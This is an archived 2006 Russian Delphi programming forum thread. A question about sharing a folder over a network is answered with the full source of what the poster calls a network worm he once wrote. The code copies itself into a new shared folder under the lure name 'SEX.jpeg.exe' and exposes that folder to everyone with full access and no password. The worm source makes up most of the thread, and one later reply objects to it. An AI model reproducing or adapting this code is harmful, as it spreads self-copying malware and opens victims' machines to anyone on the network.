Форум: "Сети";
Текущий архив: 2006.11.19;
Скачать: [xml.tar.bz2];
ВнизПодскажите как открыть доступ к определеной папке? Найти похожие ветки
← →
Maxim13 © (2006-05-21 10:30) [0]Мастера подскажите как можно с помощью делфи открыть доступ к определеной папке на моем компьютере что б другие пользователи сети имели доступ к этой папке?
← →
Замок © (2006-05-21 14:43) [1]Я в одно время писал сетевого червя , который создавал папку в документах и расшаривал её с правами админа.
Работает в WIN 9x и NT (используються две разные библиотеки , для определения оси) под администратором
На подобный вопрос в данном форуме мне отказались давать ответ , поэтому если будут вопросы оставляй на форуме мыло отвечу если смогу.
Вот код :
unit Unit1;
interface
uses
Windows, Messages, NetApi, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, jpeg, ExtCtrls;
type
TForm1 = class(TForm)
Image1: TImage;
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
bNT:Boolean;
fHandleNT, fHandle9x : THandle;
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
var
ver: TOSVersionInfo;
begin
if directoryexists ("C:\Documents and Settings\All Users\Документы\Porno") = true then
halt// выход если папка уже существует
else
createdir ("C:\Documents and Settings\All Users\Документы\Porno");
CopyFile(@(ParamStr(0))[1],@("C:\Documents and Settings\All Users\Документы\Porno" + "\SEX.jpeg.exe")[1],false); //копируем себя под
//именем SEX.jpeg.exe
ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); // определяем тип ОС
// и загружаем соответствующую бибилиотеку
GetVersionEx(Ver);
case Ver.dwPlatformId of
VER_PLATFORM_WIN32_NT : bNT := True;
VER_PLATFORM_WIN32_WINDOWS : bNT := False;
VER_PLATFORM_WIN32s : bNT := False
end;
if bNT then
fHandleNT := LoadLibrary("NETAPI32.DLL")
else
fHandle9x := LoadLibrary("SVRAPI.DLL");
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
var
Share9x : TShareInfo502;
ShareNT : TShareInfo2;
wcPath, wcName, wcPass, wcComment: PWideChar;
edSharePath, edNetName, edPass, edComment: AnsiString;
begin
edSharePath := "C:\Documents and Settings\All Users\Документы\Porno";
edNetName := "Porno";
edPass := "";
edComment := "Porno";
if bNT then
begin //Далее идёт код для NT
@NetShareAddNT := GetProcAddress(fHandleNT,"NetShareAdd");
if @NetShareAddNT=nil then
Exit;
// Конвертирование строк в Unicode
GetMem(wcPath, WIDE_LENGTH);
StringToWideChar(edSharePath, wcPath, WIDE_LENGTH);
GetMem(wcName, WIDE_LENGTH);
StringToWideChar(edNetName, wcName, WIDE_LENGTH);
GetMem(wcPass, WIDE_LENGTH);
StringToWideChar(edPass, wcPass, WIDE_LENGTH);
GetMem(wcComment, WIDE_LENGTH);
StringToWideChar(edComment, wcComment, WIDE_LENGTH);
// Заполнение структуры
ShareNT.shi2_path := wcPath;
ShareNT.shi2_netname := wcName;
ShareNT.shi2_passwd := wcPass;
ShareNT.shi2_remark := wcComment;
ShareNT.shi2_type := STYPE_DISKTREE;
ShareNT.shi2_remark := "";
ShareNT.shi2_permissions := ACCESS_ALL;
ShareNT.shi2_max_uses := DWORD(-1);
ShareNT.shi2_current_uses := 0;
// Добавление открытого ресурса
NetShareAddNT(nil,2,@ShareNT, nil);
// Освобождение Unicode строк
FreeMem (wcName);
FreeMem (wcPath);
FreeMem (wcPass);
FreeMem (wcComment);
end
else
begin //Код для Windows 9x
@NetShareAdd := GetProcAddress(fHandle9x,"NetShareAdd");
if @NetShareAdd=nil then
exit;
// Заполнение структуры
FillChar(Share9x.shi502_netname, SizeOf(Share9x.shi502_netname), #0);
move(edNetName[1], Share9x.shi502_netname[0], Length(edNetName));
Share9x.shi502_type := STYPE_DISKTREE;
Share9x.shi502_flags := ACCESS_ALL;
FillChar(Share9x.shi502_remark, SizeOf(Share9x.shi502_remark), #0);
FillChar(Share9x.shi502_path, SizeOf(Share9x.shi502_path), #0);
Share9x.shi502_path := PAnsiChar(edSharePath);
FillChar(Share9x.shi502_rw_password, SizeOf(Share9x.shi502_rw_password), #0);
FillChar(Share9x.shi502_ro_password, SizeOf(Share9x.shi502_ro_password), #0);
NetShareAdd(nil,50,@Share9x,SizeOf(Share9x));
end;
end;
end.
← →
Maxim13 © (2006-05-21 20:36) [2]Спасибо за ответ!
← →
Maxim13 © (2006-05-21 20:47) [3]А можеш мне на мыло кинуть эти две библиотеки? мое мыло maxim-13@mail.ru
← →
Ildar © (2006-07-01 11:57) [4]Они же в виндовс идут.
← →
Дмитрий Белькевич © (2006-07-03 04:31) [5]Количество червей выросло на тысячу ;) Модер, прибей ветку! Гадасть уже достала....
Страницы: 1 вся ветка
Форум: "Сети";
Текущий архив: 2006.11.19;
Скачать: [xml.tar.bz2];
Память: 0.47 MB
Время: 0.044 c